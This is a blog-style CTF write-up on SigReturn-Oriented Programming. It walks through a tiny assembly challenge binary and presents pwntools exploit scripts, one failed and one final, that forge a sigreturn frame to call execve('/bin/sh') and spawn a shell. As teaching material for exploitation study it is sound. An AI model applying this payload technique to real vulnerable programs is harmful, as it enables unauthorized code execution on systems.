SigReturn-Oriented Programming (SROP)

cryfrogg

This is a new technique that I just learnt. It is not that difficult but I spent too much time on a tiny detail that I did not expect, which will be discussed later.

Example task:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.section .text
.global _start

_start:
sub rsp,0x1f4
mov rsi,rsp
mov QWORD PTR [rsp],rsi
mov rdi,0x1
mov rdx,0x8
mov rax,0x1
syscall
mov rsi,rsp
mov rdx,0xd0
xor rax,rax
syscall
ret

We see this task is in pure assembly, and syscall is directly used without linking libc.
This program writes (syscall 1) a stack address for us and then reads (syscall 0) an input with length 0xd0.

Idea

Trigger another syscall: execve

In order to do this, we somehow have to set rax = 59 and rdi = &"/bin/sh".

This is where SigReturn-Oriented Programming comes in.

man 2 rt_sigreturn

If the Linux kernel determines that an unblocked signal is pending for a process, then, at the next transition back to user mode in that process (e.g., upon re‐turn from a system call or when the process is rescheduled onto the CPU),
it creates a new frame on the user-space stack where it saves various pieces of process context (processor status word, registers, signal mask, and signal stack settings).

Basically, rt_sigreturn can restore or undone things to the program state including every registers.
The stored states are located on the stack, let’s just call it stack frame in this post.
So we just have to write desired state on to the stack and trigger rt_sigreturn.

Exploit:

  1. Write stack frame to stack (rax, rdi, /bin/sh)
  2. Jump to read, read returns number of bytes read to rax
  3. Send exactly 15 bytes to set rax = 15
  4. Jump to syscall and execute rt_sigreturn
  5. Jump to syscall again to execute execve

Composing stack frame is straightfoward using pwntools.

My initial attempt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
conn = process("./vuln")
context.arch = 'amd64'
context.os = 'linux'

addr_syscall = 0x401052
addr_leak = u64(conn.recv(8))
addr_sh = addr_leak + 0x10
addr_read = 0x401025

frame = SigreturnFrame()
frame.rax = 59
frame.rsi = 0
frame.rdx = 0
frame.rip = addr_syscall
frame.rdi = addr_sh
frame.rsp = addr_leak
payload1 = flat([
addr_read,
0, # place for address syscall
bytes(frame),
])

payload1 = payload1[:208]
conn.send(payload1)
payload2 = b""
payload2 += p64(addr_syscall)
payload2 += b"/bin/sh"
conn.send(payload2)

conn.interactive()

However, this attempt fails even everything looks fine in gdb.
gdb shows that executing execve results in SIGSEGV but memory state and register values are all correct.
So, I spent way to much time on trying to solve this SIGSEGV. I tried stack alignment or setting a valid pointer another than NULL to rsi = argv. And none of them are relevant.

The key problem here is that I overwrite the first 7 bytes of the stack frame in the second payload.
But we have to use padding for the second payload to 15 bytes, so I just put my /bin/sh there.
But it is NOT OK to overwrite it arbitrarily.
My friend archer uses the padding b"A" * 7, and it works.

The suspected reason is that UC_FLAGS of the stack frame is overwritten, and it will trigger some unknown behavior if not set properly. In this case: rt_sigreturn is executed correctly, but the next syscall might have problem.
(What exactly is triggered, not researched). Using padding \x00 is the best choice here.

Final solution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
...
addr_sh = leak + 56
frame = SigreturnFrame()
frame.rax = 59
frame.rsi = 0
frame.rdx = 0
frame.rip = addr_syscall
frame.r8 = u64(b'/bin/sh\x00')
frame.rdi = addr_sh
frame.rsp = leak

payload = flat([
addr_read,
0, # place for address syscall
bytes(frame),
])

payload = payload[:208]
conn.send(payload)

payload = b""
payload += p64(addr_syscall)
payload += b"\x00" * 7
conn.send(payload)
conn.interactive()
  • Title: SigReturn-Oriented Programming (SROP)
  • Author: cryfrogg
  • Created at : 2025-12-19 20:45:40
  • Updated at : 2025-12-19 22:11:07
  • Link: https://cryfrogg.github.io/CS/CTF/PWN/SigReturn-Oriented-Programming/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
SigReturn-Oriented Programming (SROP)